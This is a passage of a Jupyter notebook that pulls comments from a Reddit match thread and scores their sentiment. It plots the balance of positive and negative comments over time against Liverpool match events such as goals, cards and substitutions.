#match_events['liverpool_dis_goal'] = []\n", " #match_events['opponent_dis_goal'] = []\n", " match_events['liverpool_yellowcard'] = []\n", " match_events['opponenet_yellowcard'] = []\n", " match_events['liverpool_redcard'] = []\n", " match_events['opponenet_redcard'] = []\n", " match_events['liverpool_substitution'] = []\n", " match_events['opponenet_substitution'] = []\n", "\n", " for e in liverpool_events:\n", " match_events['liverpool_' + e[1]] += [e[0]]\n", " for e in opposition_events:\n", " match_events['opponenet_' + e[1]] += [e[0]]\n", "\n", " return match_events" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 4 }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Get comment data and sentiment funcitons" ] }, { "cell_type": "code", "collapsed": false, "input": [ "def get_comments(thread_id,praw_info):\n", " reddit = praw.Reddit(client_id=praw_info['client_id'][0],\n", " client_secret=praw_info['client_secret'][0],\n", " password=praw_info['password'][0],\n", " user_agent=praw_info['user_agent'][0],\n", " username=praw_info['username'][0])\n", " submission = reddit.submission(id=thread_id)\n", " submission.comments.replace_more(limit=None, threshold = 0)\n", " return submission\n", "\n", "def comment_time_and_sentiment(submission):\n", " time = []\n", " sentiment = []\n", " score = []\n", " # Loop through top comments and add to time and sentiment list\n", " for top_level_comment in submission.comments:\n", " time.append((datetime.datetime.fromtimestamp(top_level_comment.created_utc) - datetime.timedelta(hours=1)))\n", " sentiment.append(vader.polarity_scores(top_level_comment.body)['compound'])\n", " score.append(top_level_comment.score)\n", " # Make time format\n", " pd_time = pd.to_datetime(time)\n", " # Make to dateframe\n", " df = pd.DataFrame(data={'sentiment': sentiment,'score':score}, index = pd_time)\n", " return df\n", "\n", "def posneg_sentiment_difference(df,bins='1min'):\n", " # Find comments with positive > 0 and negative < 0 sentiment\n", " pdf = df[df['sentiment'] > 0]\n", " ndf = df[df['sentiment'] < 0]\n", "\n", " # Bin\n", " pgdf = pdf.groupby(pd.TimeGrouper(freq=bins)).count()\n", " ngdf = ndf.groupby(pd.TimeGrouper(freq=bins)).count()\n", " diff_df = (pgdf['sentiment']-ngdf['sentiment']).dropna()\n", " return diff_df\n", "\n", "\n", "def weighted_posneg_sentiment_difference(df,bins='1min'):\n", " # Find comments with positive > 0 and negative < 0 sentiment\n", " df = pd.DataFrame(df[df['score']>0])\n", " pdf = df[df['sentiment'] > 0]\n", " ndf = df[df['sentiment'] < 0]\n", " # Bin\n", " pgdf = pdf.groupby(pd.TimeGrouper(freq=bins)).count()\n", " ngdf = ndf.groupby(pd.TimeGrouper(freq=bins)).count()\n", " # Take the difference\n", " diff_df = (pgdf['sentiment']*pgdf['score']-ngdf['sentiment']*ngdf['score']).dropna()\n", " return diff_df" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 5 }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Plotting and misc functions" ] }, { "cell_type": "code", "collapsed": false, "input": [ "def add_times(base_time, match_time):\n", " time = datetime.datetime.combine(datetime.date.today(),base_time)+datetime.timedelta(minutes=int(match_time))\n", " return time.time()\n", "\n", "def plot_sentiment_figure(df,match_events,opposition):\n", "\n", " fig = plt.figure(figsize=(6,8))\n", " ax = plt.subplot2grid((7, 1), (1, 0), rowspan=6)\n", " ax_me = plt.subplot2grid((7, 1), (0, 0),sharex=ax)\n", " # Main line\n", " ax.plot(df.index.time,df,linewidth=2,color='firebrick')\n", " # Scale y axis (make even -/+ directions)\n", " ax.set_ylim([-np.max(np.abs(ax.get_ylim())),np.max(np.abs(ax.get_ylim()))])\n", " # Make axis ticks and labels correct\n", " start_xaxis=datetime.datetime.combine(datetime.date.today(),match_events['kickoff'])-datetime.timedelta(minutes=10)\n", " end_xaxis=datetime.datetime.combine(datetime.date.today(),match_events['secondhalfend'])+datetime.timedelta(minutes=10)\n", " ax.set_xticks([match_events['kickoff'].hour*3600+m*60 for m in range(0,180,30)])\n", " ax.set_xlim([start_xaxis.time(),end_xaxis.time()])\n", " ax.set_xlabel('Time (GMT/BST)')\n", " # Get y axis lims to place events\n", " scatter_y_min, scatter_y_max = ax.get_ylim()\n", " # Define first and second half\n", " ax.fill_between([match_events['kickoff'],match_events['firsthalfend']],scatter_y_min,scatter_y_max+np.abs(scatter_y_max*0.05),facecolor='dimgray',alpha=0.25,zorder=0)\n", " ax.fill_between([match_events['secondhalfbegin'],match_events['secondhalfend']],scatter_y_min,scatter_y_max+np.abs(scatter_y_max*0.05),facecolor='dimgray',alpha=0.25,zorder=0)\n", " ax.text(datetime.time(match_events['kickoff'].hour,match_events['kickoff'].minute+3),scatter_y_min+np.abs(scatter_y_min*0.05),'First Half')\n", " ax.text(datetime.time(match_events['secondhalfbegin'].hour,match_events['secondhalfbegin'].minute+3),scatter_y_min+np.abs(scatter_y_min*0.05),'Second Half')\n", "\n", " # MATCH EVENTS (BELOW HERE) MIGHT HAVE TO CHANGE\n", " # Place match events\n", " axlabs = []\n", " if match_events['liverpool_goal']:\n", " axlabs += [ax_me.scatter(match_events['liverpool_goal'],np.tile(2,len(match_events['liverpool_goal'])),color='black',s=50,label='goal')]\n", " if match_events['opponenet_goal']:\n", " axlabs += [ax_me.scatter(match_events['opponenet_goal'],np.tile(1,len(match_events['opponenet_goal'])),color='black',s=50,label='goal')]\n", " #if match_events['liverpool_dis_goal']:\n", " # ax_me.scatter(match_events['liverpool_dis_goal'],np.tile(2,len(match_events['liverpool_dis_goal'])),color='black',s=50)\n", " # ax_me.scatter(match_events['liverpool_dis_goal'],np.tile(2,len(match_events['liverpool_dis_goal'])),marker='x',color='red',s=40)\n", " #if match_events['opponent_dis_goal']:\n", " # ax_me.scatter(match_events['opponent_dis_goal'],np.tile(1,len(match_events['opponent_dis_goal'])),color='black',s=50)\n", " # ax_me.scatter(match_events['opponent_dis_goal'],np.tile(1,len(match_events['opponent_dis_goal'])),marker='x',color='red',s=40)\n", " if match_events['liverpool_yellowcard']:\n", " axlabs += [ax_me.scatter(match_events['liverpool_yellowcard'],np.tile(2,len(match_events['liverpool_yellowcard'])),marker='s',color='y',s=40,label='yellow')]\n", " if match_events['opponenet_yellowcard']:\n", " axlabs += [ax_me.scatter(match_events['opponenet_yellowcard'],np.tile(1,len(match_events['opponenet_yellowcard'])),marker='s',color='y',s=40,label='yellow')]\n", " if match_events['liverpool_redcard']:\n", " axlabs += [ax_me.scatter(match_events['liverpool_redcard'],np.tile(2,len(match_events['liverpool_redcard'])),marker='s',color='r',s=40,label='red')]\n", " if match_events['opponenet_redcard']:\n", " axlabs += [ax_me.scatter(match_events['opponenet_redcard'],np.tile(1,len(match_events['opponenet_redcard'])),marker='s',color='r',s=40,label='red')]\n", " if match_events['liverpool_substitution']:\n", " axlabs += [ax_me.scatter(match_events['liverpool_substitution'],np.tile(2,len(match_events['liverpool_substitution'])),marker='s',color='g',s=10,label='sub')]\n", " if match_events['opponenet_substitution']:\n", " axlabs += [ax_me.scatter(match_events['opponenet_substitution'],np.tile(1,len(match_events['opponenet_substitution'])),marker='s',color='g',s=10,label='sub')]\n", "\n", " # Filter out any duplicate labels\n", " l = []\n", " lax = []\n", " for n in axlabs:\n", " lt = n.get_label()\n", " if lt not in l:\n", " l += [lt]\n", " lax.append(n)\n", " fig.legend(lax,l,ncol=len(lax),loc=9,fontsize='small')\n", "\n", " ax_me.set_ylim(0.5,2.5)\n", " ax_me.set_yticks([1,2])\n", " ax_me.set_yticklabels([opposition,'Liverpool'])\n", " ax_me.set_xlabel('')\n", " plt.setp(ax_me.get_xticklabels(), visible=False)\n", "\n", " return fig,ax,ax_me" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 6 }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "### Get comments and sentiment score\n", "\n", "If the data already exists, it loads that (remember to run in main directory, not notebook directory)" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# If data doesn't exist, download it. If data exists, load it.\n", "if use_saved_data == 1 and os.path.exists('./data/' + analysis_name + '.csv'):\n", " df = pd.read_csv('./data/' + analysis_name + '.csv', index_col=0, parse_dates=[0])\n", "else:\n", " # read in reddit api info\n", " praw_info = pd.read_json('praw.json')\n", " # do the sentiment analysis\n", " submission = get_comments(thread_id,praw_info)\n", " df = comment_time_and_sentiment(submission)\n", " df.to_csv('./data/' + analysis_name + '.csv')\n", " # Delete reddit api info\n", " praw_info = {}" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 7 }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Get match report" ] }, { "cell_type": "code", "collapsed": false, "input": [ "#if hometeam.lower() == 'liverpool':\n", "# liverpool_events,opposition_events = get_match_report(url,kickoff,secondhalfbegin)\n", "#else:\n", "# opposition_events,liverpool_events = get_match_report(url,kickoff,secondhalfbegin)" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 8 }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Parse match report" ] }, { "cell_type": "code", "collapsed": false, "input": [ "match_events = {}\n", "\n", "# Manual entry\n", "\n", "match_events['liverpool_goal'] = []\n", "match_events['opponenet_goal'] = [datetime.time(21,9),datetime.time(21,22)]\n", "match_events['liverpool_dis_goal'] = []\n", "match_events['opponent_dis_goal'] = []\n", "match_events['liverpool_yellowcard'] = [datetime.time(21,0),datetime.time(21,18)]\n", "match_events['opponenet_yellowcard'] = [datetime.time(21,34)]\n", "match_events['liverpool_redcard'] = []\n", "match_events['opponenet_redcard'] = []\n", "match_events['liverpool_substitution'] = [datetime.time(20,48),datetime.time(21,19)]\n", "match_events['opponenet_substitution'] = [datetime.time(20,54),datetime.time(21,29)]\n", "\n", "\n", "#match_events = parse_match_events(liverpool_events,opposition_events)\n", "\n", "# match_events = parse_match_events(liverpool_events,opposition_events)\n", "match_events['kickoff'] = kickoff\n", "match_events['firsthalfend'] = firsthalfend\n", "match_events['secondhalfbegin'] = secondhalfbegin\n", "match_events['secondhalfend'] = secondhalfend" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 9 }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "### Get positive/negative difference\n", "\n", "Sort into number of positive and number of negative comments" ] }, { "cell_type": "code", "collapsed": false, "input": [ "posneg_df = posneg_sentiment_difference(df,bins='2min')\n", "weighted_posneg_df = weighted_posneg_sentiment_difference(df,bins='1min')" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 10 }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Plot figure (unweighted)" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Plot weighted figure\n", "fig,ax,axtop = plot_sentiment_figure(posneg_df,match_events,opposition)\n", "ax.set_ylabel('# Pos - Neg Comments')\n", "fig.tight_layout()\n", "# Save\n", "fig.savefig('./figures/' + analysis_name + '.png',dpi=300)\n", "fig.savefig('./figures/' + analysis_name + '.pdf',dpi=300)" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [ { "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAAagAAAI/CAYAAAAiOU2mAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsnXmYFPWd/99VfczJ3Mg4HHJ6YBgV0CDeimxMjDGJCW72\nFzdGTZRIYqK40SSb5BFWXNf7YI0SNyZ5jFeE7BojTJRDkQgijKiInMMwwDAHc/X09FH1+6PqW1Nd\nXdVd1V3dVdXzeT0PD0wf1d8puvtdn+v95URRFEEQBEEQLoN3egEEQRAEoQcJFEEQBOFKSKAIgiAI\nV+J3egGEc4TDYXR1dUEQBHAc5/RyCCIJURRRWVmJUaNGOb0UwgFIoEYwHR0dCAaDJE6Eq+np6SGB\nGqFQim8Ew3EciRPheug9OnIhgSI8waJFi/DJJ584vQzbuPzyywEU3u9llf/8z//E6tWrnV4G4VJI\noAhTHDhwAE1NTThw4IDTSyEIYoRANSgiJb29vbjpppvQ3NyMzs5O1NbWorGxEU8//TQqKiosHSsW\ni+F73/seenp6MHXqVIRCIVx66aV46qmnwHEcFi9ejEsvvRSPP/44mpqa0NfXh1/84he4+OKLc/PL\nqTh06CeIRPYk3R4MTsHYsQ+aPs7PfvYzfOUrX8E555yDt956C++++y76+vqwc+dO8DyPxx57DA0N\nDUnPi8fjuPXWW9HW1oaysjI8+eST+Mtf/oKysjJ88YtfxLRp07Bp0ya0tLRgw4YN+Ld/+7esft98\nsGXLFvz85z9HSUkJzj33XKxZswZr1qwBIEWQ7N+vvPIKVqxYAQBYsWIFysvLHVsz4S4ogiJSctNN\nN+Gtt95CZ2cnAKCzsxNvvfUWbrrpJsvHev311zFlyhS88sorOP300xGPx/HII49g5cqVePHFF3Hv\nvfcCAL773e9i5cqV+NOf/oSHHnrI1t/HiEhkD0Khd5P+6IlWKhYsWICXX34ZgPTFO2bMGFRWVuLV\nV1/F3XffjUcffVT3eX/961/R0NCAVatW4eqrr8YzzzyDOXPmYNOmTdi6dSvOP/98bNq0CZs2bcK5\n556b9e+bjp+89RN85dWvKH9+8tZPLB+jqakJd9xxB1599VXccccdho+bMGECXnjhBVxxxRX4/e9/\nn82yiQKDIijCkP3796O5uVn3vubmZhw4cAAnnXSS6ePt27cPjY2NAIAzzjgDr732GsaNG4fi4mIU\nFxfD7/cjFovhpZdewiuvvAKe53H06FFbfpd80djYiF27dqG3txdtbW045ZRT8Prrr2PTpk0QRVE3\negKkc3PmmWcCAM466yysXbsW06ZNw2effYZ3330Xt912G1555RW0tbXh5ptvzvnvsef4Hrx7+N2s\njnH99dfjoYcewssvv4xrrrkm4T61wxp7T5x11ln4wx/+kNVrEoUFRVCEIbt371YiJy2dnZ3YvXu3\npeNNmjQJO3bsAAB8+OGHqK2txcGDBxEOh9HX14doNAq/348VK1bg1VdfxW9+8xt40Sry8ssvx+LF\ni/GFL3wB06ZNw1VXXYWVK1di1apVhhHUpEmT8MEHHwAAPvjgA0yePBkcx6Gqqgrvvfce5syZg/b2\ndgwNDaG0tDSfv07GVFRUYNmyZXj00Udxzz33wOfzob+/H/39/Qm1TPae2LZtGyZNmuTUcgkXQhEU\nYci0adNQW1urK1K1tbWYOnWqpeNdccUVePXVV/H1r38dJ510EoqLi/HDH/4QX/nKV8DzPO666y4A\nwDnnnIMrr7wSs2fPRllZmS2/Sz655pprsGzZMixZsgR1dXV4++238dWvfhUcx+HrX/86/uVf/iXp\nOVdccQVee+01XHXVVUoNCgA+//nP4x//+AcA4IQTTvBUfea5557Da6+9hlgshgULFqC2thZf/vKX\nMXPmTNTX1yuPO3ToEL7xjW+A4zilFkUQAMCRm/nI5dChQwgGgykfs2DBArz11ltJt19yySV44YUX\nLL9mNBpFIBDAc889h+PHj+OHP/yh5WPkgn37voJQKDmlVVp6LiZNWmXpWEePHsXixYvx3HPP2bW8\nvPOTt36CPceH629TqqbgwUvMN4vYSSQSwdixYx15bcJZKIIiUvL0008bdvFlwnXXXYeBgQEEg8GM\nj5ELgsEplm434h//+Ad+/etf41e/+pUNq3IOp8SIINRQBDWCMRNBMQ4cOIDdu3dj6tSplhojCCJb\nKIIauVAERZjipJNOImEiCCKvjEiBamtrc3oJjlNXV4dQKASAvM6swtrhicywev5CoRB9ZmXq6urQ\n0dHh9DKyxmjcQsuIFChCori4mEQqA4qKijA0NOT0MjyLlfMniiICgUCOV0S4FRKoEYzP5/NkG7fT\nFMpVrFPQ+SPMQoO6BEEQhCshgSIIgiBcCQkUQRAE4UpIoAiCIAhXQgJFEARBuBISKIIgCMKVkEAR\n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